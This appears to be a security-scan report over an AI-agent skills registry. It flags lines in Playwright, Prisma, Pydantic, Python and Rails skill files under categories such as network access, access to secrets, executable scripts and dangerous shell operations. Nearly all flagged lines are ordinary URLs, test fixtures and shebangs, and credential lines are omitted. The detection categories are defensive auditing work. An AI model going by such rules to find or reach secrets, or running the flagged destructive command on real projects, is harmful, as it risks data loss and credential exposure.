NUXT_PUBLIC_API_BASE: 'http://localhost:3000/api',
packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/ci-cd.md
- Network accessline 187
environment: - CI=true - BASE_URL=http://app:3000 - Network accessline 188
- CI=true - BASE_URL=http://app:3000 depends_on: - Network accessline 189
- BASE_URL=http://app:3000 - Network accessline 293
export default defineConfig({ use: { baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 294
use: { baseURL: process.env.BASE_URL || "http://localhost:3000", }, - Network accessline 295
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 311
run: npx playwright test env: BASE_URL: ${{ matrix.environment == 'staging' && 'https://staging.example.com' || 'https://example.com' }} - Network accessline 312
env: BASE_URL: ${{ matrix.environment == 'staging' && 'https://staging.example.com' || 'https://example.com' }} TEST_USER: ${{ secrets[format('TEST_USER_{0}', matrix.environment)] }} - Network accessline 313
BASE_URL: ${{ matrix.environment == 'staging' && 'https://staging.example.com' || 'https://example.com' }} - Network accessline 453
: [["list"], ["html"]], use: { baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 454
use: { baseURL: process.env.BASE_URL || "http://localhost:3000", trace: "on-first-retry", - Network accessline 455
baseURL: process.env.BASE_URL || "http://localhost:3000",
packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/docker.md
- Network accessline 19
docker run --rm -v $(pwd):/app -w /app -e CI=true -e BASE_URL=http://host.docker.internal:3000 - Network accessline 21
-w /app \ -e CI=true \ -e BASE_URL=http://host.docker.internal:3000 \ - Network accessline 22
-e CI=true \ -e BASE_URL=http://host.docker.internal:3000 \ mcr.microsoft.com/playwright:v1.48.0-noble \ - Network accessline 23
-e BASE_URL=http://host.docker.internal:3000 \ - Network accessline 109
environment: - CI=true - BASE_URL=http://app:3000 - Network accessline 110
- CI=true - BASE_URL=http://app:3000 depends_on: - Network accessline 111
- BASE_URL=http://app:3000 - Network accessline 239
export default defineConfig({ use: { baseURL: process.env.BASE_URL || 'http://localhost:3000', - Network accessline 240
use: { baseURL: process.env.BASE_URL || 'http://localhost:3000', }, - Network accessline 241
baseURL: process.env.BASE_URL || 'http://localhost:3000', - Network accessline 247
e2e: environment: - BASE_URL=http://app:3000 - Network accessline 249
- BASE_URL=http://app:3000
packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/gitlab.md
packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/parallel-sharding.md
- Network accessline 167
apiToken: [ async ({}, use, workerInfo) => { const res = await fetch(`${process.env.API_URL}/auth`, { - Network accessline 168
async ({}, use, workerInfo) => { const res = await fetch(`${process.env.API_URL}/auth`, { method: "POST", - Network accessline 169
const res = await fetch(`${process.env.API_URL}/auth`, {
packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/performance.md
- Network accessline 273
const response = await route.fetch();
packages/autoskills/skills-registry/playwright-best-practices/infrastructure-ci-cd/reporting.md
packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/api-testing.md
- Network accessline 30
authApi: async ({ playwright }, use) => { const ctx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", - Network accessline 31
const ctx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", extraHTTPHeaders: { - Network accessline 32
baseURL: "https://api.myapp.io", - Access to secretsline 34
[Credential-related source omitted] - Network accessline 42
adminApi: async ({ playwright }, use) => { const loginCtx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", - Network accessline 43
const loginCtx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", }); - Network accessline 44
baseURL: "https://api.myapp.io", - Network accessline 56
const ctx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", - Network accessline 57
baseURL: "https://api.myapp.io", - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Network accessline 162
testDir: "./tests/api", use: { baseURL: "https://api.myapp.io", - Network accessline 163
use: { baseURL: "https://api.myapp.io", extraHTTPHeaders: { Accept: "application/json" }, - Network accessline 164
baseURL: "https://api.myapp.io", - Network accessline 170
testDir: "./tests/e2e", use: { baseURL: "https://myapp.io", - Network accessline 171
use: { baseURL: "https://myapp.io", browserName: "chromium", - Network accessline 172
baseURL: "https://myapp.io", - Access to secretsline 651
[Credential-related source omitted] - Network accessline 664
webServer: { command: "npm run start:api", url: "http://localhost:3000/api/health", - Network accessline 665
command: "npm run start:api", url: "http://localhost:3000/api/health", reuseExistingServer: !process.env.CI, - Network accessline 666
url: "http://localhost:3000/api/health", - Network accessline 667
reuseExistingServer: !process.env.CI, }, use: { baseURL: "http://localhost:3000" }, - Network accessline 668
}, use: { baseURL: "http://localhost:3000" }, }); - Network accessline 669
use: { baseURL: "http://localhost:3000" }, - Access to secretsline 689
[Credential-related source omitted] - Access to secretsline 691
[Credential-related source omitted] - Access to secretsline 697
[Credential-related source omitted] - Access to secretsline 706
[Credential-related source omitted]
packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/browser-extensions.md
- Network accessline 241
test("service worker handles messages", async ({ context, extensionId }) => { const page = await context.newPage(); await page.goto("https://example.com"); - Network accessline 243
await page.goto("https://example.com"); - Network accessline 310
test("content script injects UI", async ({ context }) => { const page = await context.newPage(); await page.goto("https://example.com"); - Network accessline 312
await page.goto("https://example.com"); - Network accessline 331
}) => { const page = await context.newPage(); await page.goto("https://example.com"); - Network accessline 333
await page.goto("https://example.com"); - Network accessline 346
test("content script modifies page", async ({ context }) => { const page = await context.newPage(); await page.goto("https://example.com"); - Network accessline 348
await page.goto("https://example.com"); - Network accessline 406
// Create a tab const page = await context.newPage(); await page.goto("https://example.com"); - Network accessline 408
await page.goto("https://example.com"); - Network accessline 440
// Simulate context menu click const page = await context.newPage(); await page.goto("https://example.com"); - Network accessline 442
await page.goto("https://example.com"); - Network accessline 454
chrome.contextMenus.onClicked.dispatch( { menuItemId: "test-menu", selectionText: "selected text" }, { id: 1, url: "https://example.com" }, - Network accessline 455
{ menuItemId: "test-menu", selectionText: "selected text" }, { id: 1, url: "https://example.com" }, ); - Network accessline 456
{ id: 1, url: "https://example.com" }, - Network accessline 470
const hasPermission = await popup.evaluate(async () => { return await chrome.permissions.contains({ origins: ["https://*.github.com/*"], - Network accessline 471
return await chrome.permissions.contains({ origins: ["https://*.github.com/*"], }); - Network accessline 472
origins: ["https://*.github.com/*"], - Network accessline 479
try { return await chrome.permissions.request({ origins: ["https://*.github.com/*"], - Network accessline 480
return await chrome.permissions.request({ origins: ["https://*.github.com/*"], }); - Network accessline 481
origins: ["https://*.github.com/*"],
packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/file-upload-download.md
- Access to secretsline 536
[Credential-related source omitted]
packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/graphql-testing.md
- Network accessline 163
gqlClient: async ({ playwright }, use) => { const ctx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", - Network accessline 164
const ctx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", extraHTTPHeaders: { - Network accessline 165
baseURL: "https://api.myapp.io", - Access to secretsline 167
[Credential-related source omitted] - Network accessline 175
adminGqlClient: async ({ playwright }, use) => { const loginCtx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", - Network accessline 176
const loginCtx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", }); - Network accessline 177
baseURL: "https://api.myapp.io", - Network accessline 200
const ctx = await playwright.request.newContext({ baseURL: "https://api.myapp.io", - Network accessline 201
baseURL: "https://api.myapp.io",
packages/autoskills/skills-registry/playwright-best-practices/testing-patterns/performance-testing.md
- Network accessline 67
await page.addScriptTag({ url: "https://unpkg.com/web-vitals@3/dist/web-vitals.iife.js", - Network accessline 68
url: "https://unpkg.com/web-vitals@3/dist/web-vitals.iife.js", - Network accessline 421
// Send to metrics service if (process.env.METRICS_ENDPOINT) { await fetch(process.env.METRICS_ENDPOINT, { - Network accessline 422
if (process.env.METRICS_ENDPOINT) { await fetch(process.env.METRICS_ENDPOINT, { method: "POST", - Network accessline 423
await fetch(process.env.METRICS_ENDPOINT, {
packages/autoskills/skills-registry/pr_review/scripts/determine_review_type.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/pr_review/scripts/get_pr_comments.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/pr_review/scripts/post_inline_comment.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/pr_review/scripts/reply_pr_comment.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/pr_review/scripts/submit_pr_review.sh
packages/autoskills/skills-registry/prisma-cli/SKILL.md
- Dangerous shell operationline 116
prisma dev rm myproject
packages/autoskills/skills-registry/prisma-cli/references/agent-safety.md
- Network accessline 27
- [Prisma ORM 7.9.0 release](https://github.com/prisma/prisma/releases/tag/7.9.0)
packages/autoskills/skills-registry/prisma-cli/references/complete.md
- Network accessline 22
- [Prisma ORM 7.9.0 release](https://github.com/prisma/prisma/releases/tag/7.9.0)
packages/autoskills/skills-registry/prisma-cli/references/dev.md
packages/autoskills/skills-registry/prisma-cli/references/mcp.md
packages/autoskills/skills-registry/prisma-cli/references/migrate-resolve.md
packages/autoskills/skills-registry/prisma-cli/references/studio.md
- Network accessline 36
Opens at http://localhost:5555
packages/autoskills/skills-registry/prisma-client-api/SKILL.md
- Network accessline 210
- [Prisma Client API Reference](https://www.prisma.io/docs/orm/reference/prisma-client-reference) - Network accessline 211
- [CRUD Operations](https://www.prisma.io/docs/orm/prisma-client/queries/crud) - Network accessline 212
- [Filtering and Sorting](https://www.prisma.io/docs/orm/prisma-client/queries/filtering-and-sorting)
packages/autoskills/skills-registry/prisma-database-setup/SKILL.md
- Network accessline 12
Load `prisma-orm-setup` with the host's skill loader or read its installed `SKILL.md`. If unavailable, install it from [prisma/skills](https://github.com/prisma/skills/tree/main/prisma-orm-setup) before continuing. It covers Prisma 6, 7, an
packages/autoskills/skills-registry/prisma-postgres/SKILL.md
- Network accessline 12
Load `prisma-postgres-setup` with the host's skill loader or read its installed `SKILL.md`. If unavailable, install it from [prisma/skills](https://github.com/prisma/skills/tree/main/prisma-postgres-setup) before continuing.
packages/autoskills/skills-registry/pydantic/SKILL.md
- Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 565
[Credential-related source omitted] - Access to secretsline 601
[Credential-related source omitted] - Access to secretsline 604
[Credential-related source omitted] - Network accessline 1434
## Additional Resources - [Pydantic Documentation](https://docs.pydantic.dev/) - Network accessline 1435
- [Pydantic Documentation](https://docs.pydantic.dev/) - Network accessline 1436
- [Migration Guide v1→v2](https://docs.pydantic.dev/latest/migration/) - Network accessline 1437
- [Performance Benchmarks](https://docs.pydantic.dev/latest/concepts/performance/) - Network accessline 1438
- [JSON Schema Integration](https://docs.pydantic.dev/latest/concepts/json_schema/)
packages/autoskills/skills-registry/pydantic/metadata.json
- Network accessline 26
"created": "2025-11-30", "updated": "2025-11-30", "repository": "https://github.com/bobmatnyc/claude-mpm-skills" - Network accessline 27
"updated": "2025-11-30", "repository": "https://github.com/bobmatnyc/claude-mpm-skills" } - Network accessline 28
"repository": "https://github.com/bobmatnyc/claude-mpm-skills"
packages/autoskills/skills-registry/python-executor/SKILL.md
- Network accessline 1
--- name: python-executor description: "Execute Python code in a safe sandboxed environment via [inference.sh](https://inference.sh). Pre-installed: NumPy, Pandas, Matplotlib, requests, BeautifulSoup, Selenium, Playwright, MoviePy, Pillow, - Network accessline 2
name: python-executor description: "Execute Python code in a safe sandboxed environment via [inference.sh](https://inference.sh). Pre-installed: NumPy, Pandas, Matplotlib, requests, BeautifulSoup, Selenium, Playwright, MoviePy, Pillow, Open - Network accessline 3
description: "Execute Python code in a safe sandboxed environment via [inference.sh](https://inference.sh). Pre-installed: NumPy, Pandas, Matplotlib, requests, BeautifulSoup, Selenium, Playwright, MoviePy, Pillow, OpenCV, trimesh, and 100+ - Network accessline 13
 - Network accessline 17
> Requires inference.sh CLI (`belt`). [Install instructions](https://raw.githubusercontent.com/inference-sh/skills/refs/heads/main/cli-install.md) - Network accessline 83
belt app run infsh/python-executor --input '{ "code": "import requests\nfrom bs4 import BeautifulSoup\n\nresponse = requests.get(\"https://example.com\")\nsoup = BeautifulSoup(response.content, \"html.parser\")\nprint(soup.find(\"title\") - Network accessline 84
"code": "import requests\nfrom bs4 import BeautifulSoup\n\nresponse = requests.get(\"https://example.com\")\nsoup = BeautifulSoup(response.content, \"html.parser\")\nprint(soup.find(\"title\").text)" - Network accessline 124
belt app run infsh/python-executor --input '{ "code": "import requests\nimport json\n\nresponse = requests.get(\"https://api.github.com/users/octocat\")\ndata = response.json()\nprint(json.dumps(data, indent=2))" - Network accessline 125
"code": "import requests\nimport json\n\nresponse = requests.get(\"https://api.github.com/users/octocat\")\ndata = response.json()\nprint(json.dumps(data, indent=2))" - Network accessline 184
- [Running Apps](https://inference.sh/docs/apps/running) - How to run apps via CLI - Network accessline 185
- [App Code](https://inference.sh/docs/extend/app-code) - Understanding app execution - Network accessline 186
- [Sandboxed Code Execution](https://inference.sh/blog/tools/sandboxed-execution) - Safe code execution for agents
packages/autoskills/skills-registry/python-patterns/SKILL.md
- Network accessline 450
"""Fetch a URL (I/O-bound operation).""" import urllib.request with urllib.request.urlopen(url) as response: - Network accessline 451
import urllib.request with urllib.request.urlopen(url) as response: return response.read().decode() - Network accessline 452
with urllib.request.urlopen(url) as response: - Network accessline 489
"""Fetch a URL asynchronously.""" import aiohttp async with aiohttp.ClientSession() as session: - Network accessline 490
import aiohttp async with aiohttp.ClientSession() as session: async with session.get(url) as response: - Network accessline 491
async with aiohttp.ClientSession() as session:
packages/autoskills/skills-registry/python-testing-patterns/SKILL.md
- Network accessline 147
service = ServiceWithRetry(client, max_retries=3) result = service.fetch() - Network accessline 148
result = service.fetch() - Network accessline 160
with pytest.raises(ConnectionError): service.fetch() - Network accessline 161
service.fetch() - Network accessline 172
with pytest.raises(ValueError): service.fetch() - Network accessline 173
service.fetch()
packages/autoskills/skills-registry/python-testing-patterns/references/advanced-patterns.md
- Network accessline 19
async def test_fetch_data(): """Test async function.""" result = await fetch_data("https://api.example.com") - Network accessline 20
"""Test async function.""" result = await fetch_data("https://api.example.com") assert result["url"] == "https://api.example.com" - Network accessline 21
result = await fetch_data("https://api.example.com") - Network accessline 22
assert result["url"] == "https://api.example.com" - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 96
[Credential-related source omitted]
packages/autoskills/skills-registry/python-testing-patterns/references/details.md
- Access to secretsline 120
[Credential-related source omitted] - Network accessline 204
def get_user(self, user_id: int) -> dict: """Fetch user from API.""" response = requests.get(f"{self.base_url}/users/{user_id}") - Network accessline 205
"""Fetch user from API.""" response = requests.get(f"{self.base_url}/users/{user_id}") response.raise_for_status() - Network accessline 206
response = requests.get(f"{self.base_url}/users/{user_id}") - Network accessline 210
def create_user(self, data: dict) -> dict: """Create new user.""" response = requests.post(f"{self.base_url}/users", json=data) - Network accessline 211
"""Create new user.""" response = requests.post(f"{self.base_url}/users", json=data) response.raise_for_status() - Network accessline 212
response = requests.post(f"{self.base_url}/users", json=data) - Network accessline 217
def test_get_user_success(): """Test successful API call with mock.""" client = APIClient("https://api.example.com") - Network accessline 219
client = APIClient("https://api.example.com") - Network accessline 228
assert user["id"] == 1 assert user["name"] == "John Doe" mock_get.assert_called_once_with("https://api.example.com/users/1") - Network accessline 230
mock_get.assert_called_once_with("https://api.example.com/users/1") - Network accessline 233
def test_get_user_not_found(): """Test API call with 404 error.""" client = APIClient("https://api.example.com") - Network accessline 235
client = APIClient("https://api.example.com") - Network accessline 237
mock_response = Mock() mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found") - Network accessline 238
mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found") - Network accessline 246
def test_create_user(mock_post): """Test user creation with decorator syntax.""" client = APIClient("https://api.example.com") - Network accessline 248
client = APIClient("https://api.example.com")
packages/autoskills/skills-registry/rails-guides/references/action_cable_overview.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 21
Action Cable seamlessly integrates [WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your - Network accessline 22
[WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your - Network accessline 68
[Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) or - Network accessline 142
[`ActionCable::Connection::Base`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Base.html - Network accessline 143
[`identified_by`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Identification/ClassMethods.html#method-i-identified_by - Network accessline 165
[`rescue_from`]: https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from - Network accessline 177
[`ActionCable::Connection::Callbacks`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks.html - Network accessline 178
[`after_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-after_command - Network accessline 179
[`around_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-around_command - Network accessline 180
[`before_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-before_command - Network accessline 213
[`ActionCable::Channel::Base`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Base.html - Network accessline 260
[`ActionCable::Channel::Callbacks`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks.html - Network accessline 261
[`after_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_subscribe - Network accessline 262
[`after_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_unsubscribe - Network accessline 263
[`before_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_subscribe - Network accessline 264
[`before_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_unsubscribe - Network accessline 265
[`on_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_subscribe - Network accessline 266
[`on_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_unsubscribe - Network accessline 297
createConsumer('wss://example.com/cable') // Or when using websockets over HTTP createConsumer('https://ws.example.com/cable') - Network accessline 299
createConsumer('https://ws.example.com/cable') - Network accessline 386
[`broadcast`]: https://api.rubyonrails.org/classes/ActionCable/Server/Broadcasting.html#method-i-broadcast - Network accessline 387
[`broadcast_to`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Broadcasting/ClassMethods.html#method-i-broadcast_to - Network accessline 388
[`stream_for`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_for - Network accessline 389
[`stream_from`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_from - Network accessline 751
The Solid Cable adapter is a database-backed solution that uses Active Record. It has been tested with MySQL, SQLite, and PostgreSQL. Running `bin/rails solid_cable:install` will automatically set up `config/cable.yml` and create `db/cable_ - Network accessline 755
The Redis adapter requires users to provide a URL pointing to the Redis server. Additionally, a `channel_prefix` may be provided to avoid channel name collisions when using the same Redis server for multiple applications. See the [Redis Pub - Network accessline 757
when using the same Redis server for multiple applications. See the [Redis Pub/Sub documentation](https://redis.io/docs/manual/pubsub/#database--scoping) for more details. - Network accessline 770
The options given to `ssl_params` are passed directly to the `OpenSSL::SSL::SSLContext#set_params` method and can be any valid attribute of the SSL context. Please refer to the [OpenSSL::SSL::SSLContext documentation](https://docs.ruby-lang - Network accessline 771
Please refer to the [OpenSSL::SSL::SSLContext documentation](https://docs.ruby-lang.org/en/master/OpenSSL/SSL/SSLContext.html) for other available attributes. - Network accessline 779
The PostgreSQL adapter uses Active Record's connection pool, and thus the application's `config/database.yml` database configuration, for its connection. This may change in the future. [#27214](https://github.com/rails/rails/issues/27214) - Network accessline 781
This may change in the future. [#27214](https://github.com/rails/rails/issues/27214) - Network accessline 783
NOTE: PostgreSQL has a [8000 bytes limit](https://www.postgresql.org/docs/current/sql-notify.html) on `NOTIFY` (the command used under the hood for sending notifications) which might be a constraint when dealing with large payloads. - Network accessline 792
config.action_cable.allowed_request_origins = ["https://rubyonrails.com", %r{http://ruby.*}] - Network accessline 810
[`config.action_cable.url`]: configuring.html#config-action-cable-url [`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag - Network accessline 811
[`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag - Network accessline 882
[`config.action_cable.mount_path`]: configuring.html#config-action-cable-mount-path [`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag - Network accessline 883
[`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag - Network accessline 920
The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this [article](https://greg.molnar.io/blog/ - Network accessline 922
authentication. You can see one way of doing that with Devise in this [article](https://greg.molnar.io/blog/actioncable-devise-authentication/). - Network accessline 931
The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby), - Network accessline 932
[nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby).
packages/autoskills/skills-registry/rails-guides/references/action_controller_advanced_topics.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 28
Cross-site request forgery ([CSRF](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token)) is a type of malicious attack where unauthorized requests are submitted by - Network accessline 29
([CSRF](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token)) is a type of malicious attack where unauthorized requests are submitted by impersonating a user that the web appli - Network accessline 39
This is done by adding a token using the [protect_from_forgery](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-protect_from_forgery) - Network accessline 40
[protect_from_forgery](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-protect_from_forgery) - Network accessline 82
If you're writing a form manually or need to add the token for another reason, it's available through the [`form_authenticity_token`](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authentic - Network accessline 83
it's available through the [`form_authenticity_token`](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token) method. - Network accessline 84
[`form_authenticity_token`](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token) - Network accessline 104
Starting with version 7.2, Rails controllers use [`allow_browser`](https://api.rubyonrails.org/classes/ActionController/AllowBrowser/ClassMethods.html#method-i-allow_browser) method in `ApplicationController` to allow only modern browsers b - Network accessline 113
TIP: Modern browsers includes Safari 17.2+, Chrome 120+, Firefox 121+, Opera 106+. You can use [caniuse.com](https://caniuse.com/) to check for browser versions supporting the features you'd like to use. - Network accessline 173
[`http_basic_authenticate_with`]: https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html#method-i-http_basic_authenticate_with - Network accessline 174
https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html#method-i-http_basic_authenticate_with - Network accessline 179
not require the client to send an unencrypted password over the network. The credentials are hashed instead and a [Digest](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest.html) - Network accessline 180
credentials are hashed instead and a [Digest](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest.html) is sent. - Network accessline 181
[Digest](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest.html) - Network accessline 206
[`authenticate_or_request_with_http_digest`]: https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html#method-i-authenticate_or_request_with_http_digest - Network accessline 207
https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html#method-i-authenticate_or_request_with_http_digest - Network accessline 213
then includes in the `Authorization` header of future requests. Instead of sending credentials with each request, the client sends this [token](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html) - Network accessline 214
sending credentials with each request, the client sends this [token](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html) (a string that represents the user's session) as a "bearer" of the - Network accessline 215
[token](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html) - Network accessline 246
[`authenticate_or_request_with_http_token`]: https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html#method-i-authenticate_or_request_with_http_token - Network accessline 247
https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html#method-i-authenticate_or_request_with_http_token - Network accessline 293
[`send_data`]: https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_data - Network accessline 294
https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_data - Network accessline 296
https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file - Network accessline 372
If you need additional MIME types, call [`Mime::Type.register`](https://api.rubyonrails.org/classes/Mime/Type.html#method-c-register) - Network accessline 373
[`Mime::Type.register`](https://api.rubyonrails.org/classes/Mime/Type.html#method-c-register) - Network accessline 386
Rails allows you to stream more than just files. In fact, you can stream anything you would like in a response object. The [`ActionController::Live`](https://api.rubyonrails.org/classes/ActionController/Live.html) - Network accessline 387
anything you would like in a response object. The [`ActionController::Live`](https://api.rubyonrails.org/classes/ActionController/Live.html) module allows you to create a persistent connection with a browser. By including - Network accessline 388
[`ActionController::Live`](https://api.rubyonrails.org/classes/ActionController/Live.html) - Network accessline 521
[`config.force_ssl`]: configuring.html#config-force-ssl [`ActionDispatch::SSL`]: https://api.rubyonrails.org/classes/ActionDispatch/SSL.html - Network accessline 523
https://api.rubyonrails.org/classes/ActionDispatch/SSL.html - Network accessline 660
[`rescue_from`]: https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from
packages/autoskills/skills-registry/rails-guides/references/action_controller_overview.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 22
Action Controller is the C in the Model View Controller ([MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)) - Network accessline 23
([MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)) - Network accessline 28
For most conventional [RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request, fetch or save data from a - Network accessline 29
[RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request, fetch or save data from a model, and use a view to create HTML output. - Network accessline 70
NOTE: All controllers inherit from `ApplicationController`, which in turn inherits from [`ActionController::Base`](https://api.rubyonrails.org/classes/ActionController/Base.html). - Network accessline 71
inherits from [`ActionController::Base`](https://api.rubyonrails.org/classes/ActionController/Base.html). For [API only](https://guides.rubyonrails.org/api_app.html) applications `ApplicationController` inherits from - Network accessline 72
[`ActionController::Base`](https://api.rubyonrails.org/classes/ActionController/Base.html). - Network accessline 73
For [API only](https://guides.rubyonrails.org/api_app.html) applications `ApplicationController` inherits from - Network accessline 74
[`ActionController::API`](https://edgeapi.rubyonrails.org/classes/ActionController/API.html). - Network accessline 116
- Query string parameters which are sent as part of the URL (for example, after the `?` in `http://example.com/accounts?filter=free`). - Network accessline 117
the `?` in `http://example.com/accounts?filter=free`). - Network accessline 152
[`params`]: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html#method-i-params - Network accessline 153
https://api.rubyonrails.org/classes/ActionController/StrongParameters.html#method-i-params - Network accessline 155
https://api.rubyonrails.org/classes/ActionController/Parameters.html - Network accessline 280
You can also customize the name of the key or specific parameters you want to wrap, see the [API documentation](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) - Network accessline 281
wrap, see the [API documentation](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) for more. - Network accessline 282
documentation](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) - Network accessline 285
[Wrap Parameters]: https://api.rubyonrails.org/classes/ActionController/ParamsWrapper/Options/ClassMethods.html#method-i-wrap_parameters - Network accessline 286
https://api.rubyonrails.org/classes/ActionController/ParamsWrapper/Options/ClassMethods.html#method-i-wrap_parameters - Network accessline 311
[`controller_name`]: https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-controller_name - Network accessline 312
https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-controller_name - Network accessline 314
https://api.rubyonrails.org/classes/AbstractController/Base.html#method-i-action_name - Network accessline 318
You can set global default parameters for [`url_for`]( https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for) - Network accessline 319
https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for) - Network accessline 360
With Action Controller [Strong Parameters](https://api.rubyonrails.org/classes/ActionController/StrongParameters.html), - Network accessline 361
